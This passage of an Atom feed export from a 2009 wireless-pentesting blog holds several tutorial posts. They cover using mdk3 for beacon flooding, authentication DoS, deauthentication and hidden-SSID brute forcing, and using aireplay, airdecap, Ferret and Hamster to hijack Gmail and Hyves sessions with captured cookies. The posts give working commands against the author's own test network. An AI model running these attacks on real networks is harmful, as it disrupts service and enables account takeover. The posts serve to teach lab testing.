/&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;Video covering the above ;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://blip.tv/file/2718495"&gt;http://blip.tv/file/2718495&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=WTpjaYxbITw"&gt;http://www.youtube.com/watch?v=WTpjaYxbITw&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-3716471643631067091?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/3716471643631067091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/using-hydra-or-medusa-to-gain-access-to.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3716471643631067091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3716471643631067091'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/using-hydra-or-medusa-to-gain-access-to.html' title='Using Hydra or Medusa to gain access to network router'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-7085867124054855680</id><published>2009-10-07T13:29:00.006+02:00</published><updated>2009-10-07T21:03:31.484+02:00</updated><title type='text'>MDK3 - network traffic disruption</title><content type='html'>Following up on the previous post with mdk3, there are a few other options with mdk3, however it has to be said that &lt;span style="color: red;"&gt;the use of these options can wreak havoc on wireless networks and should be used with caution !&lt;/span&gt;&lt;br /&gt;And of course as with all the tools in the posts, only on the networks you are authorized to run the tools on.&lt;br /&gt;&lt;br /&gt;I am still unsure as to what MDK3 stands for, however I remember playing a game ages ago called MDK and the abbreviation, although never confirmed, was taken to mean Murder Death Kill..&lt;br /&gt;In that case it is fair to say that it sums up what mdk3 can do to wireless networks quite well..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My test network;&lt;br /&gt;AP with bssid &lt;span style="color: yellow;"&gt;00:13:D4:09:32:60&lt;/span&gt; on Channel &lt;span style="color: yellow;"&gt;1&lt;/span&gt; with essid &lt;span style="color: yellow;"&gt;default&lt;/span&gt;&lt;br /&gt;Wep Shared Key encryption&lt;br /&gt;1 client &lt;span style="color: yellow;"&gt;00:24:D2:A1:40:8E&lt;/span&gt; connected&lt;br /&gt;&lt;br /&gt;&amp;nbsp;The below based on having installed mdk3 as per previous post.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For a full list of mdk3 options;&lt;br /&gt;&lt;span style="color: lime;"&gt;mdk3 --fullhelp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;b&gt;Beacon Flood mode&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This mode sends out beacons showing fake APs and reportedly can cause network scanners and drivers to crash.&lt;br /&gt;&lt;br /&gt;I did a quick test with this, scanning with inSSIDer, and it certainly does flood the environment with fake APs.&lt;br /&gt;It didn't crash the programme, however I only let it run for a short period of time to get an idea of what happens, what prolonged usage would cause not confirmed.&lt;br /&gt;&lt;br /&gt;The below sets the SSID to be transmitted as DEFAULT with WEP encryption as 54Mbit &amp;nbsp;using valid accesspoint MACs from OUI database, speed set at 50 pps (default speed)&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;mdk3 mon0 b -n DEFAULT -w -g -m -s 50&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-fakeap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-fakeap.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The scan with inSSIDer looked as follows ;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/inssider1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/inssider1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Not sure why the majority seemed to be on lower channels, however as mentioned, I did not want to run it for too long and possibly a longer run would see more networks showing up in the higher channel region.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;b&gt;Authentication DOS mode&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The idea is that too many clients authenticating to the AP will freeze up or reset the AP.&lt;br /&gt;&lt;br /&gt;Surprisingly, my crappy little 'ol Asus router seemed to be handling this rather well !&lt;br /&gt;I tested it several times, it froze a couple of times for a few seconds, however then seemed to fight back and work even though the speed was severely affected..&lt;br /&gt;What a trooper !&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;&amp;nbsp;mdk3 mon0 a -a 00:13:D4:09:32:60 -m&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-authdos.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-authdos.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Deathentication / Disassociation Amok Mode&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This is used to kick clients from an AP.&lt;br /&gt;&lt;br /&gt;In this case I created a txt file with the AP MAC and used this as the blacklist.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;echo&amp;nbsp;00:13:D4:09:32:60 &amp;gt; mdk3test.txt&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;mdk3 mon0 d -b mdk3test.txt -c 1&amp;nbsp;-s 250&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-deauth.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-deauth.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;This didn't actually kick my client off as an aireplay attack with sufficient packets would have done, but it effectively stopped all communication between the&amp;nbsp;AP and the client.&lt;br /&gt;&lt;br /&gt;There are a few other tools as well, including MAC address bruteforcing, and various other wireless disruption tools.&lt;br /&gt;&lt;br /&gt;All in all a very interesting tool to check out, but obviously meant to be very unfriendly towards wireless networks..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Test with care..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-7085867124054855680?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/7085867124054855680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/mdk3-network-traffic-disruption.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7085867124054855680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/7085867124054855680'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/mdk3-network-traffic-disruption.html' title='MDK3 - network traffic disruption'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-464473316830199321</id><published>2009-10-04T21:36:00.017+02:00</published><updated>2010-04-08T07:35:44.612+02:00</updated><title type='text'>Using MDK3 in back|track 4 to crack hidden SSIDs</title><content type='html'>Although mdk3 is not (yet) included in BT4, it is a great tool to have.&lt;br /&gt;&lt;i&gt;&lt;span style="color: red;"&gt;(! with the release of Backtrack 4 Final, mdk3 is back with mdk3v6! Found in /pentest/wireless/mdk3/)&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: red;"&gt;The below installation guide only applicable to Backtrack 4 Pre Final.&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;To get it installed, Virchanza wrote up a means to do so here;&lt;br /&gt;&lt;a href="http://forums.remote-exploit.org/backtrack-4-package-feature-requests/23803-mdk3.html"&gt;http://forums.remote-exploit.org/backtrack-4-package-feature-requests/23803-mdk3.html&lt;/a&gt;&lt;br /&gt;The contents of interest being ;&lt;br /&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 242px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;wget http://virjacode.com/projects/beefup/dloads/mdk3.tar.bz2&lt;br /&gt;tar xjf mdk3.tar.bz2&lt;br /&gt;cd mdk3-v5&lt;br /&gt;sed -i 's|-Wall|-w|g' ./Makefile&lt;br /&gt;sed -i 's|-Wextra||g' ./Makefile&lt;br /&gt;sed -i 's|-Wall||g' ./osdep/common.mak&lt;br /&gt;sed -i 's|-Wextra||g' ./osdep/common.mak&lt;br /&gt;sed -i 's|-Werror|-w|g' ./osdep/common.mak&lt;br /&gt;sed -i 's|-W||g' ./osdep/common.mak&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;cd ..&lt;br /&gt;rm mdk3.tar.bz2&lt;br /&gt;rm -r mdk3-v5&lt;/pre&gt;&lt;br /&gt;The reason I used it was to decloak hidden SSIDs by means of either a brute force or a dictionary attack, but there are many other interesting options with mdk3 !&lt;br /&gt;&lt;br /&gt;In this test setup, I have an AP setup as follows ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;BSSID 00:13:D4:09:32:60&lt;/span&gt;&amp;nbsp; on&amp;nbsp; &lt;span style="color: yellow;"&gt;Channel 3&lt;/span&gt;&amp;nbsp; &lt;span style="color: yellow;"&gt;Hidden SSID&lt;/span&gt; of 3 characters only.&lt;br /&gt;&lt;br /&gt;So checking the test setup in airodump shows ;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;In order to try to crack the hidden SSID, we can try a bruteforce attack, however it is always best to first try a dictionary to see if it isnt a standard essid name.&lt;br /&gt;&lt;br /&gt;To get a decent dictionary list, you can get the one which the Church of WiFi used for their tables.&lt;br /&gt;&lt;a href="http://www.renderlab.net/projects/WPA-tables/"&gt;http://www.renderlab.net/projects/WPA-tables/&lt;/a&gt;&lt;br /&gt;And of course you can drive around a bit and collect a few more to add.&lt;br /&gt;&lt;br /&gt;The general usage in this case for using mdk3 with wordlist is ;&lt;br /&gt;&lt;div style="color: lime;"&gt;mdk3 [iface] p -c [channel] -t [bssid] -f [path to wordlist] -s [packets/sec]&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;So in my case;&lt;br /&gt;&lt;div style="color: lime;"&gt;mdk3 mon0 p -c 3 -t 00:13:D4:09:32:60 -f&amp;nbsp; /wordlists/ssid.txt -s 50&lt;/div&gt;(can do more packets per sec. but just for example's sake)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-wrdlst.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-wrdlst.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So when successful in finding the SSID and airodump is left running, the found SSID will pop up in airodump;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump-scs.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump-scs.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If the SSID cannot be found in the wordlist, then bruteforce approach can be tried, but only for short SSIDs.&lt;br /&gt;It took my setup around 30min to crunch through all printable characters for the 3 character SSID..&lt;br /&gt;&lt;br /&gt;The general usage of the bruteforce attack is as follows ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;mdk3 [iface] p -c [channel] -t [bssid] -b [character set] -s [packets/sec]&lt;/div&gt;The brute force character set is as follows;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: lime;"&gt;a&lt;/span&gt;&amp;nbsp; all printable&lt;/li&gt;&lt;li&gt;&lt;span style="color: lime;"&gt;l&lt;/span&gt; &amp;nbsp; lower case&lt;/li&gt;&lt;li&gt;&lt;span style="color: lime;"&gt;u&lt;/span&gt;&amp;nbsp; upper case&lt;/li&gt;&lt;li&gt;&lt;span style="color: lime;"&gt;n&lt;/span&gt;&amp;nbsp; numbers&lt;/li&gt;&lt;li&gt;&lt;span style="color: lime;"&gt;c&lt;/span&gt;&amp;nbsp; lower and upper case&lt;/li&gt;&lt;li&gt;&lt;span style="color: lime;"&gt;m&lt;/span&gt; lower and upper case plus numbers&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;It is worth mentioning that the number of packets per second did make a difference for me when using the bruteforce option.&lt;br /&gt;It failed to correctly identify the essid on my test network when no limit was set (then it does max 300pps), however it did work succesfully when limiting to 150 pps.&lt;br /&gt;&lt;br /&gt;Mind you it is being tested on a pretty old ASUS WL-530g router.. so not surprising really.. &lt;br /&gt;What works for other routers is probably simply a matter of trial and error. &lt;br /&gt;&lt;br /&gt;Also, airodump seemed to conk out after about a minute of running possible ssids to the router with the message;&lt;br /&gt;"Caught signal 14 (SIGALRM). Please contact the author!"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anyway..&lt;br /&gt;&lt;br /&gt;Starting up the attack using brute force;&lt;br /&gt;&lt;div style="color: lime;"&gt;mdk3 mon0 p -c 3 -t 00:13:D4:09:32:60 -b a -s 150&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-brtfce.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/mdk3-brtfce.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/brtfce-scs.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/brtfce-scs.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Again the results may vary using different packets/sec.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The screen will also show SSIDs of other networks which are picked up during the attack, but will then happily continue until either the full scope of the attack is finished, or the SSID is found.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MDK3 also has, among others, the interesting capability to effectively render communicating with a wireless network impossible, however to keep the posts semi short and sweet will come back to that another day..&lt;br /&gt;&lt;br /&gt;&lt;a href="http://homepages.tu-darmstadt.de/%7Ep_larbig/wlan/"&gt;MDK3 homepage - http://homepages.tu-darmstadt.de&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;A video showing the above ;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://blip.tv/file/2681248"&gt;http://blip.tv/file/2681248&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=52d1FsfJ2Ek"&gt;http://www.youtube.com/watch?v=52d1FsfJ2Ek&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-464473316830199321?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/464473316830199321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/using-mdk3-in-backtrack-4-to-crack.html#comment-form' title='29 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/464473316830199321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/464473316830199321'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/using-mdk3-in-backtrack-4-to-crack.html' title='Using MDK3 in back|track 4 to crack hidden SSIDs'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>29</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-7294369232127474178</id><published>2009-10-02T12:21:00.007+02:00</published><updated>2009-10-25T17:45:12.531+01:00</updated><title type='text'>Sidejacking using Ferret &amp; Hamster</title><content type='html'>Sidejacking is a form of HTTP session hijacking, basically stealing cookies from sessions of users on a network, then using these cookies to re-enable the sessions.&lt;br /&gt;&lt;br /&gt;Think for instance of online email accounts, social networking sites and the like.&lt;br /&gt;&lt;br /&gt;In this case the sidejacking test is done as follows ;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;wpa protected network on channel 4&lt;/li&gt;&lt;li&gt;monitor with airodump --&amp;gt; deauth client --&amp;gt; capture handshake --&amp;gt; continue collecting info&lt;/li&gt;&lt;li&gt;airdecap the cap file&lt;/li&gt;&lt;li&gt;run cap file through ferret and then check with hamster&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;First stop is to indentify the target network, note associated clients, start capturing and ensuring that the 4-way handshake is included in the capture by using a deauth attack so as being able to later correctly decrypt the packages.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airmon-ng&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airmon-ng start wlan0&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airodump-ng mon0 -c 4 --bssid 00:11:22:33:44:55 -a -w test&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;aireplay-ng mon0 -0 5 -a 00:11:22:33:44:55 -c 00:11:22:33:44:55 &lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/deauth.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/deauth.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Now we have the handshake and we let the session capture packets.&lt;br /&gt;&lt;br /&gt;On the target network, we browse around and visit various test accounts on popular sites, in this case I have checked out Gmail &amp;amp; Hyves.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We then stop the capture and decrypt the captured packets with airdecap.&lt;br /&gt;(For this to work there must be a 4-way handshake in the capture file, the decryption will only start from the moment the handshake is captured)&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airdecap-ng test-01.cap -e ESSID -p 'WPA_PASSWORD'&lt;br /&gt;&lt;/div&gt;The packets will be decrypted and a file &lt;span style="color: lime;"&gt;test-01-dec.cap&lt;/span&gt; will be created.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airdecap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airdecap.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now to pass the decrypted capture file through ferret.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/sniffers/hamster/&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./ferret -r ~/test-01-dec.cap&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ferret1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ferret1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;When succesfully done running through ferret, &lt;span style="color: lime;"&gt;hamster.txt&lt;/span&gt; will be created and hamster can be started to start the proxy. (best to be online at this stage)&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./hamster&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hamster1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hamster1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We then open up the browser and set the proxy configuration to be able to use Hamster.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;Edit --&amp;gt; Preferences --&amp;gt; Advanced --&amp;gt; Network --&amp;gt; Settings&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Configure the Manual proxy settings as follows;&lt;br /&gt;&lt;span style="color: lime;"&gt;HTTP Proxy: 127.0.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp; Port: 1234&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/proxystup.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/proxystup.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then we open up Hamster in the browser.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;http://hamster&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hamster3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hamster3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On opening Hamster, you will see a list of IP addresses from which Hamster has been able to find cookies.&lt;br /&gt;In this case just the one; 192.168.1.100&lt;br /&gt;&lt;br /&gt;Click on the IP address of interest to clone the the target.&lt;br /&gt;&lt;br /&gt;In the left pane you will then see the IP address being cloned and urls of interest.&lt;br /&gt;The top urls are the ones deemed of most interest, the lower urls are are the urls seen from the targetted IP address.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hamster4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hamster4.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can then click on the urls of interest and you will be taken to the session in question (if still valid)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/google.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/google.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/gmail.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/gmail.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hyves.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hyves.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;In the above you can see that you are logged in to google and also have full access to the gmail account and&lt;br /&gt;also have full access to the Hyves account.&lt;br /&gt;&lt;br /&gt;If the google account has the option "always use https" checked, then the above will not work with gmail/google.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But still goes to show you should never access your online email accounts etc over an insecure network.. !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Information on Hamster by the author;&lt;br /&gt;&lt;a href="http://hamster.erratasec.com/help/index.html"&gt;http://hamster.erratasec.com/help/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;A video showing the above, slightly different as cracking WPA with cowpatty is included in video.&lt;br /&gt;&lt;/div&gt;&lt;a href="http://blip.tv/file/2676326"&gt;http://blip.tv/file/2676326&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://vimeo.com/7245265"&gt;http://vimeo.com/7245265&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-7294369232127474178?l=adaywithtape.blogspot.com' 